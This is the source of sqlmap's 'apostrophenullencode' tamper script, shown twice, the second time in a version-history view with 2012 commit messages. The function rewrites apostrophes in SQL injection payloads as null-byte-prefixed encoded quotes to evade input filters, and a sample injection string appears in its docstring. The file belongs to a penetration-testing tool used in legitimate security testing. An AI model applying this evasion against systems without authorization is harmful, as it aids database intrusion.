sqlmap/tamper/apostrophenullencode.py

#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload):
    """
    Replaces apostrophe character with its illegal double unicode counterpart

    Example:
        * Input: AND '1'='1'
        * Output: AND %00%271%00%27=%00%271%00%27
    """

    return payload.replace('\'', '%00%27') if payload else payload
Added another tamper script 2012-03-09 16:09:19 +04:00			`#!/usr/bin/env python`

			`"""`
			$Id$

			`Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)`
			`See the file 'doc/COPYING' for copying permission`
			`"""`

			`from lib.core.enums import PRIORITY`

			`__priority__ = PRIORITY.LOWEST`

			`def dependencies():`
			`pass`

			`def tamper(payload):`
			`"""`
			`Replaces apostrophe character with its illegal double unicode counterpart`

			`Example:`
			`* Input: AND '1'='1'`
			`* Output: AND %00%271%00%27=%00%271%00%27`
			`"""`

minor refactoring 2012-04-15 21:17:30 +04:00			`return payload.replace('\'', '%00%27') if payload else payload`